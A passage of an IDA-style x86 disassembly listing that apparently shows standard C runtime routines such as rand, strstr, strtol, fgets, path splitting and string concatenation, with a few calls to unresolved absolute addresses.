		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE30, edi
		mov	byte_4DBE2C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD3BC
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD3B8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD3BC
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE34, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE10, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE10
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE10, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD281[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D094, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D094, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D094, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE88
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDEC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26A06ADh
		test	eax, eax
		jnz	short loc_41C7D2
		nop
		call	near ptr 26A0CACh
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
